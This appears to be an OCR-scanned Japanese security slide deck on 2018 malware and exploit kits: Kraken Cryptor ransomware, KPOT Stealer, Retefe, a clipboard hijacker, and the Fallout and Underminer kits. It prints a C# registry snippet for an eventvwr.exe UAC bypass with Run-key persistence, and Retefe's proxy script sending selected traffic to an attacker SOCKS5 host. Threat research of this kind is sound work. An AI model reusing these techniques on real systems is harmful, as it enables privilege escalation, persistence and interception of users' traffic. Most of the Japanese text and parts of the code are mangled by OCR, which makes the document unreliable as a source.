c SESATHICEEG LI-F7 VLT
. Fallouti®H8 CHLEX
e ransomware-as-a-service (RaaS)

NET Framework CERZE I, HFLIhTWL3

v1.6 v2.2
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Kraken Cryptor® Xt geithis;

10/211ZKrakenDEEIZ & » TR S L7z 1B E B E = FRA
WEDRE )

¢ ries™: [ TIAZT

TELNRL S v
RIN—=¥
IXbZ7
Va—I7
17
h¥7z8>
FILFR
ZhET
V727
EILER

A7
RIOXZRZ
PILOAZRZ Y
79 54F
JARFZZ Y

51T : https://securingtomorrow.mcafee.com/mcafee-labs
fallout-exploit-kit-releases-the-kraken-ransomware-on-its-victims
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eventvwr.exe % FFH L 7=UAC[a]:&#

e V1.6 O—&X —TfEFE

« eventvwr.exelIZEZEITHRICLITOL Y X B U ICEFI NT-
INADT 7 4w%aﬁ%ﬁm?£ﬁT5

executablePath)

[ "BOFTWARE¥¥C|asses¥¥nscf i | e¥¥she| |¥¥open¥¥connand”) . SetValue (""", executablePath); _
CUROFTW FE##F1I'I""H¥¥"'III1 s¥¥CyrrentYersion¥¥Run™) .SetYalue ("Pavload”™, executablePath);
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SDelete & {& - - HIl &

« Ny FDET
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r|||||iu||-l "ol
“ant | ’ruan ic fE|.|:E:E!,.
“anti
"ant i |_
“ant i -ruh
':':4r|’r ] rlirl Tif
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KPOT Stealer

« 2018FE8ALEIC R D H - 7=Information stealer
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KPOT panel

¢ C2/XFZNDY —RXRA—FHBRY—7 L TW3S

] ,

'_\g.ﬁ prsecurity Add files via upload Latest commit 68d89@b on 26 Nov 2018

& KPOT-Admin.zip Add files via upload 2 months ago
2 months ago

[E] README.md Initial commit

README.md

KPOT-Admin-C2-Source-Code

KPOT Admin Source Code

https://github.com/prsecurity/KPOT-Admin-C2-Source-Code
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KPOTDURE T 5 15K

. config CHIEIRIEE
CBEBR, 75UV, EFAF vy bAED
s hr 7= 4
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Retefe

 Info Stealer

« 7AXTEREZEMY 3
« C:¥Users¥user¥AppData¥Roaming¥Mozilla¥Firefox¥Profiles®
prefs.js

function FindProxyForURL(url, host)(var proxy = "SOCKS5 coughsmoggyspark.co:5555;";
var hosts = new Array('blockchain.info', 'blockchain.com', *twitter.com*', '*google.*');
for (var i = 0; i < hosts.length; {
if (shExpMatch(host, hostsl[i])) {
return proxy

}

}
return "DIRECT")
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Clipboard Hijacker

e )y FHR—=FICEy baM4 o7 FLAPaAEr—an3
EEBEODARBLAE7FLRICEZRZS

« AddClipboardFormatListener
ZFE-TI7Vy 7THR—FOELEER
By baMYDF7FLRELT
valid&: b B2 d %
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Clipboard Hijacker

i

« VY —ZREEFICTYa—FLE=7 FL X%

v ) TEXT 0001C984 | 07 BO SE 56 9D C7 63 74 DC 7C 81 79 5C 67 C5 5E A Vv oct | y\g *

-------- #1:0 0001C994 |80 74 25 47 44 03 FE 96 4A C7 63 38 €3 57 E0 &7 t3GJ J cShW g

-------- g 2:0 0001COR4 | FE FS €D 07 BO 79 67 SE Bé TE 3L €5 20 TE B6 56 m yg ~:ie ~V

........ 30 0001C9B4 |B6 75 €3 7C 1B SA 75 07 SE SE F5 C5 1B BS BA 60 uc| Zu * :

........ 410 0001C9C4 |54 57 1B 79 79 &D 07 S50 54 07 Aé 48 DO BE SE 75 TH yym BT H *u

........ 7 5:0 0001CSD4 || 0C 38 25 &7 B 1B 6C AS 79 44 OC &1 DC 79 AS &5 8tg lylave
........ B0 0001CSE4L | 9D 54 26 C5 JE €3 03 EO0 €D 07 56 3L 48 FE F5 4D Te ~h m V:H

________ 70 0001CSF4 | C5 56 SE FE SE 43 3B C4 54 C7 C7 SE 6C 74 4B 26 v~ ~H T ~1ltKs
0001CRO4 |B6 EE 25 49 54 26 39 3B 7E 9D EE €D 07 50 BO 13 $ITs9 ~ m P
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FL&H

 ¥77-%Exploit KitD &5
« Underminer Exploit Kit
- NHEBELHMBOTLT T
« Fallout Exploit Kit
o DA WLWURL
« =L METE DR
« CVE-2018-4878, 8174, 8373, 15982

- BERZENE LB v R—V
« PseudoGate
« Ramnit, AZORult. Panda Banker, Osiris
 HookAds
« Kraken Cryptor. Globelmposter. GandCrab
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FL&H

VTE ’d’:':Flb\c‘.’. Lf-7#—5 LCEE. K5
°) I B XAy tE—
« V) — :—FW@:X/F
s EERTEICLBIREDEHE

- O 7FERE. BYEZEBFEEZNRNET S
c BHIIRBST-DPF7 YL T7ORR., BEPIER
« ¥(2GandCrab

« ATRBICHAZRRE L= ALY 2 7 HEREFEET S
« Banking Trojan

« 2AF—ETHHRAITTA, Lo LEREEED
1:k oX (R QNN o o) A = S~ N O

« BHESRRTRIT

« BERZXWRE LI-MEDORENTICIZAAREREC
BADIPOBEANEL A 3

e N7 Yoy KRRy o XBIF%#EAL., B2 ZLTE
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Any Questions?
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